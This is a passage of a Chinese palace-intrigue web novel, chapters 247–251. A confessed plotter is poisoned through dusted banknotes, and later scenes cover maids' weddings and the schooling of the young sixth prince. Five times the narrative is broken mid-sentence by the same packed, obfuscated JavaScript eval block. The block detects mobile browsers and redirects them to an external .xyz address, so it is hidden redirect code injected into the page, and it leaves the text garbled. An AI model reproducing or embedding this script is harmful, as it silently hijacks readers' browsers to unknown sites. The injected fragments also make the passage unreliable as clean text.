许婕妤顿了顿,转头又用一种十分得意的眼神看了夏韶宁一眼,“贵妃又如何?受宠这么多年又如何?你还不是得乖乖听我的话!” “蕙心,你去本宫衣柜里第三层靠最里头的那个妆奁里取五千两银票来。” 听得许婕妤的话,夏韶宁转过头来看了蕙心一眼,朗声道。 不一会儿,蕙心便将银票取了来,端端正正地交到了夏韶宁的手上。 夏韶宁伸出手在帕子上蹭了蹭,这才接过蕙心手中的银票,看都没看就交到了许婕妤的手里。 “这里是五千两银票,你好好地仔仔细细地数一数。本宫已经让李顺去套车了,只要你把你知道的事情说出来,一会儿本宫就做主送你离开金州城!” 看着夏韶宁递过来的银票,许婕妤立刻接了过来,反反复复数了三遍,确定数量不会错,这才放心下来。 “其实我一直都有个疑问,从前还在潜邸的时候,陛下抓这个杀那个,怀疑这个怀疑那个,怎么就是没有怀疑到我的头上呢?” 许婕妤将银票藏进了自己贴身的衣裳里,这才对着萧祈安慢悠悠地开口了。 “你这女人,你信不信……” “陛下别急,容我慢慢说呢!”眼见着惹得萧祈安又要发火,许婕妤却显得心情很愉悦的样子。 “陛下还记得当年在江州,那个刺杀你未遂最后被你们杀了的那个叫作逐月的女子吗?她其实是我的亲生姐姐!” “我们的爹在当年的青州卖官案中受人牵连,直接被你判了罪。虽然当时的先帝没有要他的命,但是因为年纪大了,在流放漠州的路上就病**。” “我姐姐恨毒了你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535957|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所以最后才在太子的花言巧语下假装做了废瑞王的内应,想要杀了你给爹报仇!” 许婕妤一边说,语气却一点点地冷了下去。说到最后,那冷冰冰的眼神对上了萧祈安,真是恨不得立刻就杀了他! “所以……你姐姐没有刺杀朕成功,最后废太子才借着大选的由头把你送到朕身边当了内应?”听到这里,萧祈安便已经明白了。 “可是你占了许清妍的身份?那真正的许清妍又去了哪里?” 夏韶宁站在一旁听着许婕妤的话,听到最后仍觉得有些说不通。 “呵呵,其实这个世界上不是只有纯德妃一个把男人看得比自己的命还重的人的。那许海道的亲女儿,也是这种人。” “早在先帝和先皇后定下要让那许清妍入贤王府的第二天,这没脑子的女人就跟着她的情郎跑了。这件事情恰巧被太子知道了,太子便直接让我顶了她的身份入了贤王府当侧妃。” 如此说来,一切倒是好像也能说得通了。 “废太子想杀朕也不是一日两日了,刚巧你也想要给你父亲和姐姐报仇。可是这么多年,你为何迟迟没有对朕动手?” 弄清楚了这女人的身份,只是萧祈安仍旧弄不明白她的动机是什么。 “早些年我是想杀你的,可是当我看到当年的姚氏因为做了废瑞王的内应被你发现死得那样惨,我就怕了。” 说起这话的时候,许婕妤显得十分坦然。 “我后来无数次想过,就算我真的杀了你,我爹和姐姐也回不来了。再说我内心也明白,废太子那种人根本不是什么良善之人!我杀了你,那么我这个人对他来说就再也没有利用价值了。一个没有价值的人,最后的下场也不过就是个死字!” “所以我改变主意了。” 说到这里,许婕妤看了萧祈安一眼,忽然笑了。 “你害**我最重要的亲人,我也要让你最爱的亲人一个个死在你的面前!我要搅得你这辈子不得安生!这就是因——果——报——应!” 第247章 只有自己 “所以你才要借着何御女的手害死六皇子?” 听完许婕妤这番话,夏韶宁这才明白原来这女人想要害死昀儿并不是为了要给许海道报仇,而是为了报复萧祈安。 “说起来,陛下这几个孩子个顶个的命大呢!早些年苏修仪与二皇子,孝端皇后与三皇子,再加上如今的昭贵妃与六皇子,都差一点死在我的手上。” “只不过好可惜啊,就差那么一点点,这么多年了,他们居然还是活得好好的。” 许婕妤叹了口气,面上也显出了一副十分可惜的样子。 “是我给姚氏出的主意让她去买通翠岚以及那两个奶娘,一石二鸟好直接害死二皇子和当时尚未出生的三皇子。也是我故意将姚氏给翠岚的银票换成了姚氏钱庄的银票,这才让她暴露了。最后我再又利用许海道那个双胞胎哥哥的身份,从而顺利躲过了陛下的怀疑。” “而你们更加想不到的是,当初怂恿大公主给三皇子下药又教唆大公主将昭贵妃推下千里湖的那个宫女,其实也是我的人!” “沈充媛那个人,笨头笨脑的,整天满眼满心都是她那两个病歪歪的儿子,哪里知道自己宫里的宫女早就被我收买了!” 说到这里,许婕妤自己都开始佩服自己起来。 “每一次我都觉得我的计划是那样的天衣无缝,可是每一次你们这群人全都可以逃过一劫!只是哪怕这样,你们也没有一个人怀疑到我的头上!唯独这一次,是我大意了!不然,我还要继续再害这些孩子,害到你萧祈安绝后为止!” “你放肆!” 萧祈安这个人的脾气其实是很不好的,能忍到现在这个时候,完全是因为他想要从这个女人的嘴里知道这些年来这些事情的真相。 等到许婕妤已经将所有的事情交代清楚了,萧祈安再也忍不住了,不顾夏韶宁的阻拦一脚就踹到了许婕妤的胸口。 许婕妤瞬间便喷出了一口鲜血!倒在地上再也站不起来了。 “哈哈哈哈哈哈,我放肆又如何,我今日就算再放肆,你也不能杀我!许海道已经被你打得半死不活带着他全家老小被你赶出金州城了!俗话说‘罪不累及出嫁女‘,你若是真的在这个地方杀了我,你这个大容国的皇帝和她夏韶宁,下半辈子谁也别想有个好名声!你们就等着被坊间那些老百姓的吐沫星子给淹死吧!” 许婕妤的胸口虽然很痛,嘴角仍旧在流血,但是这会儿的她根本就不怕。 因为她知道,萧祈安,杀不了她! “虽然本宫说了做主放你离开,但是本宫劝你还是给自己留条退路比较好。” 眼见着此时的萧祈安已经被许婕妤气得眼睛仿佛都要喷出火,夏韶宁忙将萧祈**到了自己身后。 “快滚!”萧祈安顺了顺气,咬牙切齿地对着眼前的女人说了一句,随即便松开夏韶宁拉着她的手,转过身进了内殿。 …… 眼见着许婕妤离开了,夏韶宁往内殿里看了看,叹了口气就走了进去。 “你为什么要让她离开!朕就算真的杀了她又如何?莫说她是那萧祈正的线人,就说她差点害死昀儿这一条罪名,就足够她死一百次了!” 萧祈安转过身来,死死盯住了夏韶宁的眼睛,这会儿说话的语气是真的一点儿都不好。 夏韶宁被他这么一凶,本来心里就有气的她更加生气了,这会儿更是彻底生气对着萧祈安大喊了起来。 “明面上差点害了昀儿的是何清影,可是你转头就把她许清妍杀了,你是皇帝你不怕天下人的诟病,你有没有想过我与昀儿?” “昀儿才刚刚过了周岁,你不想以后别人说起他,都在背后指指点点说他的父皇都是为了他才杀了他的庶母的吧?!你让他今后如何做人?你想过这些没有?!” 说实话,嫁给萧祈安这么多年了,记忆里夏韶宁真的甚少对着萧祈安发脾气。 唯一发脾气的那几次,都是萧祈安太过分触及她的底线了。 而这一次,夏韶宁只是觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539684|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得萧祈安他太自私也太武断了,根本就没有站在她与昀儿的角度为她们母子俩考虑哪怕一点儿。 一番声嘶力竭的叫喊之后,此时的内殿更是死一样的沉寂。 没有人说话,更没有人想要说话。 “陛下放心吧,那女人活不了的。”也不知道沉默了多久,夏韶宁终究还是出声了。 “臣妾让蕙心拿给她的那五千两银票,上头撒了师父给的五毒散。她刚刚拿着那叠银票来来**数了好多遍,那毒早就已经进入她的五脏六腑了。等不到她走出金州城,她就会死在马车上。” “她差点害死我的昀儿,我是绝对绝对不会放过她的!” 夏韶宁这番话说完,倒是弄得萧祈安不知道该说些什么了。 他抬起头来看着夏韶宁那张面无表情的脸,想要拉过她的手和她道歉,可是这会儿的自尊心还是让他放不下自己的面子。 纠结了很长的时间,到了他还是回了一句,“朕去把那何氏处理了,也算给你与昀儿出气了。” 留下这句话,萧祈安便转身离开了。 眼见着萧祈安离开,夏韶宁身边的宫女们这才小心翼翼地入了内殿。 “娘娘怎么又同圣上吵架了?”蕙心看了一眼满脸不高兴的夏韶宁,忍不住重重地叹了一口气。 “他已经不是从前的他了,我也不是从前的我了。如今我与他的立场完全不同,考虑事情的角度也不同,以后这种像今日这样的情况终究是避免不了的。” 夏韶宁抓起小几上的扇子给自己扇了扇风,说话的语气倒是显得不甚在意。 “我不会允许这个世界有任何一个人做出伤害我的孩子的事情,也不会允许任何人挡住我孩子未来的路。就算这个人是他的父亲,也不可以!” 回想起萧祈安刚刚那般样子,夏韶宁心中那种索然无味的感觉忽然又从她的心底里冒了出来。 果然啊,绕了这么大一个圈,最后值得自己依靠的,还是只有她自己而已。 第248章 都是喜事 萧祈安倒不是为了躲避夏韶宁故意找了个借口从承乾宫离开,他是真的去处理何御女了。 具体的处理过程暂且不提,反正最后何御女被萧祈安以差点害死两名皇子为由直接让张全和带人将她乱棍打**。 萧祈安恨她恨得连最后的一丝体面都不愿意留给她。 而就在那许婕妤离开不到两个时辰,一直偷偷跟在她身后的李顺也回到宫里向夏韶宁复命了——那女人已经悄无声息地在马车上**身亡了。 夏韶宁听完李顺传来的消息,嘴角都没扯一下。 她只是拿着手中的瓜子给笼子里的鹦鹉喂了一颗,漫不经心道,“这般下场,也算是应了她那句,因果报应了。” …… 其实说起来夏韶宁也不知道自己是怎么同萧祈安和好的,反正这整件事情处理完了以后,萧祈安当天就派张全和送了一大堆赏赐到承乾宫来。 夏韶宁不痛不痒地收下了,谁知道当天晚上萧祈安直接谁都没带,自己一个人就跑到她宫里来了。 两个人在内殿里谈了很久,夏韶宁最后还是决定不将这件事情放在心上了。 就像她说的,也许谁都没错,只是她们两人的立场从一开始就是不一样的。 只要萧祈安还想着她与昀儿,肯替她们母子俩撑腰出头,其他的,好像也没那么重要了。 毕竟人不能太贪心,既要又要这种事情,夏韶宁做不出来。 *** 时间就这样安安稳稳地过去了,不知不觉就到了光启三年的十二月。 半年前夏韶宁回夏府省亲的时候曾经特意让郝氏帮她留意有没有适合蕙心与兰芷的人家,没想到还真给郝氏找着了。 蕙心安静,心细,郝氏便央着夏宽在今年会试中选的贡士里找了个一名人品憨厚家境也不错的男子。那男子之前因为父母先后去世一直在守孝所以才耽误了自己的婚事,这会儿蕙心嫁过去倒是正好能帮着他料理家事了,夫妇二人也能有商有量的。 兰芷外向,善于交际,郝氏便替她找了一户生意人家里的长子。那男子同兰芷的脾气性格十分相像,家境也是难得的殷实,与兰芷可谓十分相配。 再加上辛夷与张川柏的婚事,以及夏韶冉与韩卓君这桩圣上御赐的婚事,这整个十二月,夏韶宁都一直沉浸在一件件的喜事中。 蕙心与兰芷还有辛夷出嫁都定在同一天,夏韶宁为了抬高她们的身份,特意央了萧祈安让她们三人可以从承乾宫出嫁。 “我就说我身边的人哪有不好看的,你看看这化上新妇妆再穿上这大红色的喜服,一个个的真是漂亮极了!” 夏韶宁站在三人身后,透过三人面前的镜子看着她们那一张张幸福的脸,她也觉得没来由的高兴。 “娘娘……”听得夏韶宁的声音,三人对视了一眼,便立刻转过身来朝着夏韶宁跪了下来。 “你们这是干什么啊?自古成亲从来只有跪天地跪双亲的,我比你们还小,你们怎么能跪我呢?!” 看着眼前齐刷刷跪着的三人,夏韶宁倒是被惊着了,立马伸手想将她们拉起来,只是三人却十分坚定的绝不肯起身。 “对于奴婢们来说,娘娘甚至比双亲还要重要!” 蕙心朝着夏韶宁磕了个头,一边说一边眼眶就开始红了起来。 “是啊,奴婢与蕙心若不是因为碰着了娘娘,哪儿能想到还有如今这样好的日子过?” 眼见着蕙心磕头,兰芷便也跟着她对着夏韶宁磕了个头。 辛夷跪在两人的身旁,这会儿的脑海里全都是遇到夏韶宁以后自己人生的变化,心中只觉得百感交集。 “蕙心与兰芷说得很对,对我来说,娘娘简直可以说是我的再生父母。若是没了您当初将我从人牙子的手中挑到身边,一路带着我学习这些人情世故以及处事的道理,我哪儿会有今天呢?” 辛夷顿了顿,随即也郑重其事地对着夏韶宁磕了个头。 三个穿着喜服的新娘子就这样跪在夏韶宁的面前,半天都不肯站起身来。 夏韶宁看着眼前的三个人,本就十分反感送人出嫁要流泪的她,居然毫无征兆地就落下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539685|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泪来。 “你们这一路上跟着我,跟了我这么久,这冷不丁地就要离开我了,我还真的不舍得。” 夏韶宁拿起手里的帕子擦了擦泪,说话的语气带了些轻微的鼻音。 “只是古人都说,天下没有不散的筵席,如今你们是去过自己的好日子了,我心中高兴,高兴着呢!” 说到这里,夏韶宁便将眼前跪着的三人一个一个地轮流扶了起来。 “今日虽然你们都出嫁了,但是你们要记住,以后无论在哪里遇到了什么困难,一定不要不好意思来找我。我们是一家人,能帮的,我一定会帮,明白了吗?” 夏韶宁这话说得那样的真诚且推心置腹,这会儿不止眼前要出嫁的三人眼睛红红的,就连站在一旁的惜春和含秋,甚至是年纪最小的李顺,眼眶都是酸酸的。 为奴为婢的人,这辈子但凡能遇上一个好主子,那是几辈子也修不来的福分啊! “吉时到,新娘子出门咯!” 主仆几人刚说完话,便听得门外传来喜事嬷嬷的声音。身边的小宫女们便立刻替三人盖上盖头,扶着她们端端正正地走出了承乾宫的大门,上了早就等在门口的喜轿。 夏韶宁就那样站在承乾宫的门口,目送着三顶喜轿一点一点地往前行进着,最后消失在了她的视线里。 “能和自己心爱的人相守一生,真是最幸福的事情了。” 夏韶宁拿着帕子按了按自己的眼角,心中只觉得欣慰不已。 “对了,再过十天是冉儿出嫁的日子,我是去不了了,你去我库房里挑几件贵重的东西替我送到夏府去吧。” 回到殿内坐了一会儿,夏韶宁便转头对着惜春吩咐道。 “娘娘放心,奴婢早就替二小姐预备好了。” 夏韶宁的话音刚落,惜春便忙开口道。 “如今蕙心与兰芷都嫁人了,以后承乾宫的事情就要拜托你与含秋了。” 看着惜春那张比几年前明显稳重了许多的脸,夏韶宁也只觉得很安心。 人人都会成长的,别人会,而她也一样。 第249章 教育 当承乾宫小花园里的枫叶红了三次之后,光启六年就这样悄无声息地到来了。 在这三年里,后宫里虽然没发生什么大事,但是也陆陆续续有一些小事。 丽美人在光启三年十一月生下了七皇子萧衡钦,如今已经是丽婕妤了。 范充媛在光启五年五月生下了三公主萧心璇,后晋封范充容。 光启六年九月又进行了一次选秀,这是这一次选进宫的新秀们家世与第一次选秀时完全不能比,都是些家世低又安静的女子,倒是掀不起什么大风浪。 而这三年来后宫里除了这两个孩子出生以外,便再没有其他孩子出生了。就连仪淑妃与纯德妃这两位高位宫妃也都从未有过身孕。 纯德妃一直怀不了孕的原因夏韶宁是知道的,只是她不却能和任何人提起。但是仪淑妃年纪不大,这几年恩宠也是有的,为何一直也没有身孕,夏韶宁却怎么都就想不明白。 不过说起来这些事情讲白了同夏韶宁也没有很大的关系,她只是微微思考了一下也就抛在脑后了。 如今她要关心的事情,另有其他。 …… 承乾宫。 这会儿的萧祈安,脸色铁青地坐在椅子上,面前站着今年已经四岁的六皇子。 夏韶宁揣着把瓜子,坐在暖座上一边看着这两父子说话,一边慢条斯理地磕着。 “昀儿,你才去了崇文馆一个月,几个夫子都被你气得跑到父皇这里轮流来告状。趁着今日你母妃也在这里,你同我们说说,你在崇文馆上课的时候,都做了什么事情惹得夫子们如此生气了?” 萧祈安看着六皇子,说话的语气尽量显得很平和。但是同他相处了这么多年了,夏韶宁怎么可能听不出来,这男人,生气了。 “回父皇的话,儿臣没做什么。” 六皇子先是恭恭敬敬地对着萧祈安行了一礼,这才开口道。 “陛下,您这问问题的方式不对呀!” 看着萧祈安的眉头瞬间皱了起来,夏韶宁丢了手里的瓜子就从暖座上站了起来。 “昀儿这一个月在崇文馆都遇到了什么有趣的事情呀?可不可以告诉一下父皇和母妃呢?” 果然,听得夏韶宁这般问话,六皇子脸上的表情立马就开心了起来。 “去崇文馆之前母妃就告诉儿臣了,若是哥哥姐姐们遇到问题了儿臣要帮助他们!四哥身体不好,写字写得慢,夫子总是罚他抄书,他抄不完,儿臣就帮他一块儿抄了!” “不过儿臣没有耽误课程哦,夫子在课堂上教的东西从前母妃就教过了,所以儿臣是学好了功课再帮四哥罚抄的!” 小小的人儿站在原地,这会儿说起话来却是一副十分认真的样子。 “你帮着你四哥糊弄夫子,怎么不算做了错事惹夫子生气了呢?” 听得六皇子的话,萧祈安同他说话的语气不自觉地就提高了一个度,面上的表情也变得不好起来。 “可是夫子们教学的时候总是说要‘因人而异‘。四哥身体不好,上课上的时间久了都要停下来休息一会儿才行,夫子让他抄那么多书,他会累死的!” 似乎意识到了父皇生气了,只是六皇子却也觉得自己的做法没有问题,所以这会儿也没有想要认错的意思。 一时之间,两父子之间似乎弥漫着一股子看不见的**味。 “好了,都先别吵了,既然这个事情提出来了,那咱们就好好分析一下。” 眼看着这两父子谁也不服谁,夏韶宁便急忙开口打断了两人。 “昀儿,你到母妃这里来。”她坐到萧祈安身旁的椅子上对着六皇子招了招手,六皇子便乖乖地走到了夏韶宁的面前。 “夫子罚你四哥抄书,肯定是因为他有什么地方没有做好,那夫子罚他,就是应该的。母妃从前一直同你说要‘尊师重道‘,你帮着四哥糊弄夫子,这是不是就违背尊师重道这四个字了?” 夏韶宁拉着六皇子的手,说话的语气虽然很温柔,但是说出口的话却没有一丝偏袒。 “母妃说得对,儿臣不应该随便糊弄夫子。只是……儿臣还是觉得,夫子不应该罚四哥罚得那么重。四哥平日里都很乖的,那天上课的时候睡着了,肯定是遇到什么事情了,他一定不是故意的!” 听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548521|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得夏韶宁的话,六皇子这才低下头乖乖认错了,只是说到最后还不忘帮着四皇子辩解一句。 “陛下你看,臣妾就说了这些事情都是有原因的吧!昀儿帮着四皇子罚抄的确不对,可是夫子们连理由的不问就随意罚四皇子抄书这就对了吗?孩子们犯错是要罚,但是在惩罚之前,是不是也应该搞清楚前因后果呢?” 夏韶宁一只手牵着六皇子,另一只手自然而然地拉过了萧祈安的手,说话的语气依旧是柔柔的。倒是让刚刚还有些生气的萧祈安,慢慢平静了下来。 “夫子们年纪都有些大了,教育皇子公主们用的还是从前那些方法,这些思想的确有些跟不上了。” 顿了好一会儿,萧祈安这才缓缓开口了。 他看着六皇子低下的头,最终还是轻轻地拉住了六皇子的另外一只手。 “咱们两父子都有错,父皇不应该凶你,你也不应该帮着你四哥糊弄先生。这样吧,明日让你母妃亲自送你去崇文馆上课,你同你四哥一起给那几个夫子道个歉。父皇后头也会同夫子说一声,让他们要适当改变一下教学方法,咱们都各退一步,昀儿觉得可好?” 六皇子本来以为父皇这次一定会狠狠骂他了,却没想到母妃只是说了两句话,就让父皇消了气,还这般好声好气地同他商量事情。这会儿的六皇子当真忍不住在心里对自己的母妃刮目相看起来。 “好!沈母妃每天都会亲自送四哥和五哥去崇文馆上课,儿臣都好羡慕呢!明日母妃也能送昀儿去上课啦!” 说到这里,六皇子便开心地投进了夏韶宁的怀里,就和小时候同她撒娇的时候一模一样。 “宁儿教育孩子,还真是有一套。” 眼见着六皇子被奶娘带了下去,萧祈安一把就将她揽进了怀里。 “我们的昀儿是个好孩子,陛下以后如果能对他多点耐心就好了。”夏韶宁闭着眼睛,喃喃道。 听得夏韶宁的话,萧祈安倒是真的开始认真反思自己对待这几个孩子们是不是太没有耐心了,想了好一会儿,这才轻声回了一句,“朕知道了,以后会改。” 第250章 一些心里话 因为想到今母妃要送自己去上课,所以今日天儿都还没亮,六皇子就从被窝里爬起来了。 奶娘服侍他洗漱完毕又用完早膳以后,他便站在夏韶宁的寝殿门口“哐哐哐”地拍起门来。 “母妃!好晚啦,太阳都晒屁股啦,你怎么还不起床呀!” 这会儿的夏韶宁正卷着被子在和周公约会,冷不防地听得门外传来一阵大力的拍门声加上她那亲爱的儿子的声音,她倒是宁愿此刻的自己是个聋子! 造孽啊,这才什么时辰啊,天儿都还没完全亮呢,怎么就要起床送娃去上学了? 眼见着母妃房里一点儿动静都没有,不甘心的六皇子继续站在门口契而不舍地拍门加叫喊。 “母妃,你不是说今日送昀儿去崇文馆上学的吗?你要是再不起床,昀儿就要迟到了!到时候夫子又要去父皇面前告状啦!” “娘娘……六皇子在门外等了好长时间了……”惜春看着床上的夏韶宁仍旧还在同被子“难舍难分”,还是忍不住小心翼翼提醒了一句。 “唔……服侍我起床吧,以后我再也不会随便答应孩子送他去上课了!”夏韶宁口齿不清地回了一句,这才一鼓作气从床上坐了起来。 等到她洗漱完毕,早膳都来不及用,就被六皇子连拖带拽从承乾宫拖出去了。 这小家伙一边拉着她的手往外走着,一边嘴里还不住地嘟嘟囔囔道,“母妃你好慢!下次再也不要你送我去上课了!” 崇文馆。 其实夏韶宁与六皇子来得并不算很晚,这个时候刚好是皇子公主们来上课的时候。 夏韶宁带着六皇子走到门口,便瞧着沈充媛已经带着四皇子与五皇子站在一旁等着了。 “给贵妃娘娘/昭母妃请安。”眼见着夏韶宁来了,沈充媛忙带着两个皇子向她请安。 “娘娘,说起来是康儿不懂事,倒是连累六皇子被圣上骂了。”沈充媛小心翼翼地看了夏韶宁一眼,见她面上没什么表情,便立刻陪着笑脸开口替四皇子解释了一句。 “沈母妃别这么说,父皇昨天没有骂我。他只说了让母妃带着我与四哥同夫子道个歉,剩下的事情他会再去找夫子说的!” 看着沈充媛一副低眉顺眼的样子,六皇子急忙对着她摆了摆手,表示自己没事儿。 “父皇没骂你?”听着六皇子的话,站在他身边的四皇子还没来得及说话,倒是五皇子的脸色有些不太看好。 “茂儿!”五皇子的话一出口,便被沈充媛打断了。她有些尴尬地挡在了两个孩子面前,对着夏韶宁道,“既然这样,臣妾也同贵妃娘娘一道进去吧,四皇子做得不好,的确应该同夫子道歉。” 夏韶宁站在原处,眼前这母子三人的表情都被她看得清清楚楚。她心里有一点儿疑惑,但是面上却一点儿也不显。 “想来夫子已经在里头等了,咱们进去吧。” 几人入了崇文馆,便瞧着皇子公主们都已经在各自的位置上坐好了。郑夫子正摸着自己那花白的胡须,站在讲台前准备上课。眼见着贵妃娘娘与沈充媛来了,便立刻走下讲台同她们两人行了一礼。 “郑夫子不忙行礼,这两个孩子知道自己错了,今日来给您道歉了。”夏韶宁对着六皇子使了个眼色,他便立刻恭敬地弯下腰来对着郑夫子行了一礼。 “之前的事情都是学生不对,学生在这里同夫子道歉了!学生保证下次再也不会犯这种错误了!” 眼见着六皇子都道歉了,面色略微有些苍白的四皇子便也立刻弯下腰来。 “学生也有错,不应该上课打瞌睡开小差,学生保证以后再也不会了,请夫子原谅!” 这两个孩子道歉的话都说得十分诚恳,并没有因为自己是皇子就敷衍对待,倒是让见惯了许多皇家孩子的郑夫子吃了一惊。 “无妨,两位皇子快回座位上去上课吧!”郑夫子语气和蔼的对着两人也回了一礼,便挥手让两人回自己的位置上去了。 眼见着事情已经解决了,夏韶宁看了沈充媛一眼,两人便默默地从崇文馆里退了出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548522|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 两人一前一后从崇文馆走了出来,只是没走两步,沈充媛却忽然出声了。 “贵妃娘娘……您这会儿有空吗?臣妾,想同您说几句心里话。” “有空,有什么话就在这儿说吧。” 说实话,夏韶宁其实是不大喜欢沈充媛的。那种感觉怎么说呢?就是只要看她一眼,或者和她说几句话,就能感觉得到自己和她不是一类人。 因着四皇子曾经在昀儿的周岁宴上救过他一次,这些年来夏韶宁或多或少也照顾着沈充媛三母子。 至于其他的,那就没有了。 夏韶宁懒得费心去做这些事,沈充媛……大概也不需要吧。 “贵妃娘娘您也是做母亲的人,臣妾相信您能够体谅一个母亲的心。四皇子和五皇子长这么大了,单独见到他们父皇的次数两只手都数得过来。臣妾有时候看着他们兄弟俩,只觉得是自己对不起他们。” 说到这里,沈充媛的眼眶便红了。 “嗯,你说的都是实话,但是这些话你应该去同圣上说,而不是同本宫说。” “而且你自己也明白,他们两兄弟落得如今的局面都是你的错,你与本宫说这些,又有什么用呢?” 夏韶宁是何许精明的人,沈充媛这番话说完,她便立刻明白这个平日里从来不与自己私下里有任何来往的女人,为何好端端地要同她说什么心里话了。 这哪里是什么心里话啊,这明明就是在道德**她啊! 这头的沈充媛压根没想到贵妃娘娘直接就将她的话顶了回去,一直之间倒是愣在原地,忘记自己该说什么了。 她愣了好一会儿,夏韶宁也不打断她,只是漫不经心地盯着她看。 许是被夏韶宁盯得受不了了,这会儿的沈充媛倒是有些恼羞成怒了。 “六皇子隔三岔五总能见着圣上,父爱这种东西他当然不缺。哪怕贵妃娘娘您行行好,从您与六皇子的指头缝里漏一点儿出来,让臣妾的两个孩子多与他们的父皇相处几回,都不可以吗?!” 第251章 又遇江皓谦 “很抱歉,不可以。” 与沈充媛的恼羞成怒相比,此时的夏韶宁很淡定。 夏韶宁本来就不太想和沈充媛多说什么,这会儿听得她这般胡搅蛮缠的话,干脆留下这句话就转身离开了。 只留沈充媛一个人眼睛通红地站在原地,进退两难。 “这么些年了,这群女人一点儿长进都没有。遇到事情还是只会在我面前装可怜,难不成觉得我是什么很好说话的人吗?” 夏韶宁扶着惜春的手慢吞吞地从崇文馆往外走,一边走一边忍不住对着她吐槽。 “看来贵妃娘娘对自己的定位还是很清晰的啊。” 两人正准备往回走,冷不防听得身后传来一阵男子的声音。夏韶宁觉得这声音很熟悉,但是一下子倒是想不起来是谁了。 于是她有些疑惑地转过头,便看见江皓谦正站在不远处满脸带笑地看着她。 “江夫子?”夏韶宁有些吃惊地看着江皓谦,下意识地拉着惜春的手往后退了一大步,“您今日怎么没去崇文馆给皇子公主们上课?” “微臣也是有休沐日的啊!”江皓谦有些无奈地耸了耸肩,“倒是六皇子来崇文馆上了一个月的课了,微臣倒是第一次在崇文馆附近见着贵妃娘娘。” “六皇子惹了点小事儿,本宫今日亲自送他来上课。这会儿已经没事儿了,本宫就不打扰江夫子了。” 夏韶宁对着江皓谦礼貌性地笑了笑,这就准备转身离开。只是她刚转过身来,江皓谦便快步走到她身边拦住了她的去路。 “娘娘何必如此着急离开,咱们怎么说也算是童年玩伴,今日好容易遇见了,不如去前头的亭子里聊聊天?” 江皓谦看了一眼不远处那个四面透风,周围又有许多宫女内侍在旁的亭子,轻声道,“我没有别的意思,只是想和你说说话而已。那亭子周围有那么多伺候的人,大家都能看着咱们聊天,没人会乱传闲话的。” 这会儿的江皓谦,说话的语气没了一开始的玩世不恭,倒是显得十分真诚。 夏韶宁本能地想要拒绝,可是看着眼前的这个满脸认真的人,她也不知为何居然鬼使神差地答应了。 “那便去吧。” 夏韶宁同江皓谦踏上了凉亭,惜春就站在离两人不远的地方。 “还记得当年你还是贤王侧妃的时候,我在崇文馆见了你一次。当初问你好不好,你同我说你很好。这么多年过去了,你现在……过得好吗?” 沉默了好一会儿,终究还是江皓谦先开口了。 “人都是复杂的,日子也是流动的,这个世界上的所有事情都不能用单纯的好或者不好去概括。” 夏韶宁背过身子,目光投向了很远地方,说话的语气有些飘忽。 “你不肯正面回答我的问题,就说明这日子过得并不像你以为的那么好,既然这样……你有没有后悔的时候?” 踌躇了很久,江皓谦还是将在心里憋了很久的话问了出来。 是的,其实这句话在他心里已经藏了很多年了。 他真的非常迫切地想要知道一个答案,无论这个答案是什么。 “我从不做让自己后悔的事情,因为对我来说,后悔是没有用的。” 